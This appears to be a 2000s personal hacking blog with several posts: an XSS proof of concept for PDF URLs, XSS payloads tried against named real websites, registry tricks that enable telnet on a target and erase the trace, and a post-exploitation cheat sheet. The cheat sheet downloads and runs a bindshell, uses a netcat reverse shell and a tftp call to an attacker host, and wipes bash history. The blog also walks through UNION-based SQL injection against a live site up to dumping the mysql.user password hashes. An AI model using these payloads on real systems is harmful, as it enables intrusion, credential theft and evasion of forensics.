Google blacklist database

I got pointed to a couple interesting posts in the mailing list, about google blacklist database,

http://sb.google.com/safebrowsing/update?version=goog-black-url:1:1
http://sb.google.com/safebrowsing/update?version=goog-black-url:1:7998
http://sb.google.com/safebrowsing/update?version=goog-white-domain:1:19,goog-white-url:1:371,goog-black-url:1:7693,goog-black-enchash:1:15282
http://sb.google.com/safebrowsing/update?version=goog-black-url:1:7753
http://sb.google.com/safebrowsing/update?versio=goog-black-url:1:0000

Obviously google uses these data for "safebrowsing", and it is interesting that Google even log credential and some other sensitive info. I picked some blacklisted url randomly, and they are really phishy. It is good for security folk to figure out how phisher set up fake sites, also great for vendor to compile these lists to enhance its product's anti-phishing.

Oops...PDF, keep an eye on it!

From pdp
"You must understand that the attacker doesn’t need to have write access to the specified PDF document. In order to get an XSS vector working you need to have a PDF file hosted on the target and that’s all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog. The attack vector was discovered by Stefano Di Paola and Giorgio Fedon. This is a very good and quite interesting finding. Good work."

A Poc:
http://some.random.site.com/foo.pdf#something=javascript:alert(123);

Couple variants:
1. Universal CSRF / session riding;
(Mozilla Firefox, Internet Explorer, Opera + Acrobat Reader plugin)

2. UXSS in #FDF, #XML e #XFDF;
(Mozilla Firefox + Acrobat Reader plugin)

3. Possible Remote Code Execution;
(Mozilla Firefox + Acrobat Reader plugin)

4. Denial of Service;
(Internet Explorer + Acrobat Reader plugin)

Details @ http://www.wisec.it/vulns.php?page=9

Very interesting and dangerous bug, don't simply click pdf from now on. If you really need to download pdf, keep an eye on the url, strip extra parameters if there is any. Dangerous, Dangerous, Dangerous! Web is getting really crazy, sigh

Not much

Become interested in sniffering recently, having so much fun with hacking my machines around, I am pretty impressed about what ettercap capability, it gives pretty good result when combining with other tools. I will write up a detail tutorial over this topic.

Also I learned some new OS fingerprinting techniques when I reviewed nmap,xprobe and ettercap fingerprinting code. I should come up some new discoveries as time goes on...hopefully!

Get your dsniff working on Slackware

Surely everyone has heard dsniff, an evil set of 31337 network tools. I finally grab a copy and wanna give it a try, but traditional ./confugre && make && make install didn't get it work. Couple hours googling took me a patch made by Sined , someone claimed it works while it didn't work on my slack box.. well, maybe it is for other distr or I have something missing (I guess I don't) , I got no clue what changes he made, neither able to google a solution works for me. So I figured out this simple dirty way, hope this helps for folks who facing the same problems.

www.packetfactory.net is down at the moment, I grabed a copy from http://www.enzotech.net/dsniff.html (Don't use ones on sf -outdated)
libnids-1.16-fixed-FC.tar.gz
libnet-1.0.2a-fixed-FC.tar.gz

After installing libnet and libnid,

insistkool@foo:~/dsniff$ ./configure
insistkool@foo:~/dsniff$ make
This produces bunch of compilation errors

----------------------------------------------------------------------------
./sshcrypto.c:25: error: field `key' has incomplete type
./sshcrypto.c:30: error: syntax error before "des_key_schedule"
./sshcrypto.c:30: warning: no semicolon at end of struct or union
./sshcrypto.c:31: warning: data definition has no type or storage class
./sshcrypto.c:32: error: syntax error before '}' token
./sshcrypto.c: In function `blowfish_encrypt':
./sshcrypto.c:131: error: `BF_ENCRYPT' undeclared (first use in this function)
./sshcrypto.c:131: error: (Each undeclared identifier is reported only once
./sshcrypto.c:131: error: for each function it appears in.)
./sshcrypto.c: In function `blowfish_decrypt':
./sshcrypto.c:143: error: `BF_DECRYPT' undeclared (first use in this function)
./sshcrypto.c: In function `des3_init':
./sshcrypto.c:153: error: dereferencing pointer to incomplete type
./sshcrypto.c:156: error: dereferencing pointer to incomplete type
./sshcrypto.c:157: error: dereferencing pointer to incomplete type
./sshcrypto.c:160: error: dereferencing pointer to incomplete type
./sshcrypto.c:162: error: dereferencing pointer to incomplete type
./sshcrypto.c:164: error: dereferencing pointer to incomplete type
./sshcrypto.c:165: error: dereferencing pointer to incomplete type
./sshcrypto.c:166: error: dereferencing pointer to incomplete type
./sshcrypto.c: In function `des3_encrypt':
./sshcrypto.c:176: error: dereferencing pointer to incomplete type
./sshcrypto.c:176: error: dereferencing pointer to incomplete type
./sshcrypto.c:178: error: dereferencing pointer to incomplete type
./sshcrypto.c:178: error: dereferencing pointer to incomplete type
./sshcrypto.c:178: error: `DES_ENCRYPT' undeclared (first use in this function)
./sshcrypto.c:179: error: dereferencing pointer to incomplete type
./sshcrypto.c:179: error: dereferencing pointer to incomplete type
./sshcrypto.c:179: error: `DES_DECRYPT' undeclared (first use in this function)
./sshcrypto.c:180: error: dereferencing pointer to incomplete type
./sshcrypto.c:180: error: dereferencing pointer to incomplete type
./sshcrypto.c: In function `des3_decrypt':
./sshcrypto.c:189: error: dereferencing pointer to incomplete type
./sshcrypto.c:189: error: dereferencing pointer to incomplete type
./sshcrypto.c:191: error: dereferencing pointer to incomplete type
./sshcrypto.c:191: error: dereferencing pointer to incomplete type
./sshcrypto.c:191: error: `DES_DECRYPT' undeclared (first use in this function)
./sshcrypto.c:192: error: dereferencing pointer to incomplete type
./sshcrypto.c:192: error: dereferencing pointer to incomplete type
./sshcrypto.c:192: error: `DES_ENCRYPT' undeclared (first use in this function)
./sshcrypto.c:193: error: dereferencing pointer to incomplete type
./sshcrypto.c:193: error: dereferencing pointer to incomplete type
make: *** [sshcrypto.o] Error 1

----------------------------------------------------------------------------

You can see err mainly caused by the failure to locate several function calls (des_key_schedule,DES_ENCRYPT, DES_DECRYPT etc). Be aware dsniff heavily relies on libnet, libnid and openssl (and few more)

insistkool@foo:~/dsniff$ cp sshcrypto.c sshcrypto.c.orig
insistkool@foo:~/dsniff$ vi sshcrypto.c
remove the space when you edit your file
15 #include <>
16 #include <>
17
18 #include <>
19 #include <>
20 #include
21
22 #include "sshcrypto.h"

So, we can tell compiler where these headers locate

15 #include <>
16 #include <>
17 #include <>
18 #include <>
19 #include <>
20 #include <>


All rite, now simply:
insistkool@foo:~/dsniff-2.3$ make
insistkool@foo:~/dsniff-2.3$ su -c 'make install'

Well, even I am on slackware, I think it will works just fine on other distributions. Lesson of the day - Don't google before read through give away message and get my hand dirty!

Another xss

My brother showed me this site, an interesting site allows customized logo and I love this idea,
http://www.goglogo.com/s.asp?lo=inSiStKool
Very google-like and cool,rite!

but then I tried couple xss on lo param with no luck, I guess it has been filtered with regular expression, seems secured, hum! But hey, what the heck it works on the search box with simple alert call.
http://www.goglogo.com/s.asp?lo=inSiStKool&q=%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E
http://www.goglogo.com/show.asp?q=a&u=%3Cscript%3Ealert(31337)%3C/script%3E
I don't see the point they filteres 1st param and leaves others unprotected, to accpet the whole pharse for a more accurate search result or they just happened to forget to do so? Recall "if you spend more time on coffee, you will be hacked, and you deserved"

Enable Windows Serive II

Little extension of my last post

1)regedit /s
/s execute .reg,
Export that reg on your localmachine and upload to target host
or
echo .reg content in case you can't upload any to target(In fact,this is one of the reasons you need to modify the registry to enable service like telnet, remote desktop etc)

2)regini
This is another great command (esp its detail man page - Win2003 only)
e.g: regini.exe -m \\Server_name -b yourhack.txt

Thx h3llfyr3 for reminding me!

3)reg.exe
A command line version of registry editor, native process of WinXP and Win2003(Win2k Resource Kit),a very powerful tool.
Details can be found atpetri.co.il

Brief examples:
reg query {\\server_name\}HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr

Drawback:
1) WinXP and 2003 only
2) Require to be fairly familiar with registry structure and need to remember its options.
3) Lack of modify key value option (Maybe I don't know)

Other:
VBscript/Jscript Default MS scripting engine
Perl if and only if target system has perl (and Win32 package)installed

Enable Windows Serive

I was pentesting a Win2003 on my VM, and telnet had been disabled. So I thought I have to write a vbscript to enable, but it seems too much work compare to this:

echo Windows Registry Editor Version 5.00 >open-tel.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr] >>open-tel.reg
echo "Start"=dword:00000004 >>open-tel.reg

Then execute regedit /s open-tel.reg
Remember to get rid of your trail del open-tel.reg
So this can extend to any other registry hack, locate the key you need to hack on local machine,then echo to reg file.
Done!

Lesson is that I should be more creative and seek different way to achieve the same goal.Hum....

escalation

interesting hack by h3llfyr3
http://www.h4cki.org/index.php?title=From_a_4Images_SQL_Injection_to_Root_Access_-_Privilage_Escalation

also some cool hack from they peers!
find . -perm -2 -ls

The dot being what directory to search, so I would suggest doing:

cd /home/user/public_html/;find . -perm -2 -ls

It will then give you a list of folders and files that are writeable .. Dont forget that there are other downloaders than wget .. Doing the following command will show you what downloaders are running on the box:

which wget curl w3m lynx

For wget:

wget --directory-prefix=[DIR HERE, NO EXTENSION] [URL HERE]

For curl:

curl -o /home/user/public_html/shell.php http://www.shell.txt


cat >bindshell.c
curl -o /home/user/public_html/bindshell.c http://www.server.com/bindshell.c
gcc bindshell.c -o bindshell
./bindshell

echo open 10.0.0.1 > file.txt
echo lcd /writeable/web/dir/ >> file.txt <--this swaps your local directory to one you can write to
echo user anonymous >> file.txt
echo pass anonymous@anon.com >> file.txt
echo get bindshell.c >>file.txt
echo bye >>file.txt
to execute
ftp < file.txt


Other common tech for RSH
tftp -i attacker_ip file (nc)

nc -e /bin/sh -l -p port_number (-DGAPING_SECURITY_HOLE MUST BE compiled)

if victim host has X terminal such as xterm
xterm -display attack_ip:0.0 &

check last 20 entries in history
tail -20 /root/.bash_history

And to remove current .bash_history
rm -rf /root/.bash_history

disable command logging
ln -s /dev/null /root/.bash_history

Another xss

A XSS on lycos, the point to point out is not because this is a big site, but it display my " when http://www.homme.lycos.fr/hotbabes/categorie/"
I am wondering whether this is fuzzable, seems kinda hard coz " is a valid html code...
Anyway, interesting to know xss could also happened on a regular url (not parameter)

lycos.fr

Updated: This xss already expired, but it still serves as a pretty good lesson for developers

XSS bug

found an interesting type of xss of this site, contrust a html header and do the dirty work

mass.gov

Exposed the header, this is indeed fairly funky
http://www.test.com Content-Length: 0 Cache-Control: max-age=300 Expires: Mon, 09 Oct 2006 06:15:35 GMT Connection: close Content-Type: text/plain; charset=ISO-8859-1

similar ones...

lvllord.de

Another one on
mwti.net


And discovered a xss on a metasearch engine while i was at class
click here to see demo

even one on a government website,
http://www.xxxxx.xxx.gov.au/email/?url=%3Cscript%3E
alert(%22XSS%22)%3C/script%3E

MySQL system-functions summary

Dirty Summary for mysql system functions, mainly for dba or pen tester:

• found_rows() - returns the current table row numbers
• last_insert_id() - for auto_increment para, this is somehow helpful
  
• user() - this is extremely useful,it returns the current username (e.g:root ->then you can smile ^^)
  
• database() - this is cool too, gives back the current database name, ease the pain of spending hours on finding it.
• version() - This is awesome, you all know mysql 3,4,5 are different and have some unique features.Without knowing the version, you might stuck for another hours
  
• connection_id() - Well, you can guess how busy this database is
• INET_ATON(ip) - Not really useful for pentesting
  

And some password functions,

• password($pwd) - encrypts a specified string as a 41-byte hash value, it is pretty weak alogrithm
• md5($pwd) - MD5 encryption, possibly crackable
  

• sha($pwd) - sha encryption, possibly crackable (sha1-version, which means you can use sha1($pwd) for getting the same result

Might not completed...correct me!

Mysql injectin try

Another quick note for a mysql injection I experiemented today, this is a classic mysql injection:

With a url http://www.site.com/script.php?ID=2885
change parameter id to -1 returns normal response,
make it to a,got Unknown column 'a' in 'where clause',
with 1.1, works fine...
so this means this parameter is numeric type, decimal, float, double, int, bigint, or smallint....
( remember that decimal has three types: NUMERIC ,DEC,FIXED......um....cant remember other details)
then craft a union clause, http://www.site.com/script.php?ID=2885%20union/**/select/**/0/*
returns mismatched number columns, keep adding till return noraml page....(should code it up to automate the whole process....someone must have done one, google !!)






http://www.site.com/script.php?ID=28851=2%20union%20select%2051,2,3,34,75736572,75,31,30,29, 28,27,26
25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/*
now

ttp://www.site.com/script.php?ID=28851=2%20union%20select%2051,2,3,34,75736572,75,31,30,29,
28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/*

I got 342E312E3138
mysql> select 0x342E312E3138
-> ;
+------------
----+
0x342E312E3138
+----------------+
4.1.18
+----------------+

um...it is mysql 4.1.18...

Same idea,

http://www.site.com/script.php?ID=28851=2%20union%20select%2051,2,3,34,75736572,hex(user()),31,30,29,28,27,26,25,
24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/*

mysql> select 0x726F6F74406C6F63616C686F7374
-> ;
+--------------------------------+
0x726F6F74406C6F63616C686F7374
+--------------------------------+
root@localhost
+--------------------------------+
runing with root privileges...

next,submit
http://www.site.com/script.php?ID=28851=2%20union%20select%2051,343,3,34,75736572,hex(version()),31,30,29,28,27,26,25,24,23,22,
21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/**/from/**/user/*

to test the existence of user table, it doesn't. However, it exposed the table name, then it is bruteforceble (construct a txt with list of possible table names, grab status code,sort out the result...) I later found out calling database() yields the same result.

I am curious what the system is (presumbly linux, just want to confirm it), so a quick banner grabing indicates this is a Unix host, and with port scanning found out telnet is open, another banner grab shows it is FreeBSD/i386....all these clues shows i can simly skip trying Windows path for dumping...

ok....time to do homework, resume after test, next I should try to hex, ord or chr someone column fields to bypass the int scheme, and figure out which field is user and pass, check exploit for this specific version mysql (I wont do this for sure, script kiddie shit)or probably dump out a guest readable file(need to know its physical path to do so, how? phpinfo() might be a way to go,but it cant convert to digit....-.-)

Well, all these seems bit script kiddie stuff, but I learnt the idea behind and how to secude code php, but I am still not feeling confortable with mysql injection...while php,mysql are playing pretty important role in the market, I just have to confront and master it.

Ok...
Resume to yesterday's work.
Someone found out a sql bug on

WebTorrent (WTcom) Script <= 0.2.4

http://[SITE]/torrents.php?mode=category&cat=0%20union
%20select%20null,null,concat(username,char(32),password,char(32),
email)%20from%20users%20/*

This inspired me to submit

http://www.site.com/script.php?ID=2885=2%20union%20select%2051,2,3,34,hex(concat(user,char(32),password,char(32))), 2,31,30,29,28,27,
26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1%20from%20mysql.user/*

Cool ! it dump out the user and password in hex....Now task done, it can be connected remotely, next step is to hook up and see the inside which I am not intented to do. All these tries are solely to practise my skill....All the techniques are fully described in most whitepapers which can be found somewhere online!

Lesson Learnt:

• all built-in functions (hex, char, oct, ascii, system,database,user) can get task done more easily.
  
• /**/ comment delimeter
  
• Put ' single quote
  
• Place and 1=1, and 1=0 (blind sql injection)
• Change the chartset with hex,char,ascii, oct for converting data type
• Use system functions for probing the database info
  
• Check if connection can be connected remotely
• Use automated tool (e.g:sqlbf...bruteforce will be shown on the log and be detected by admin.)
  
• Many more....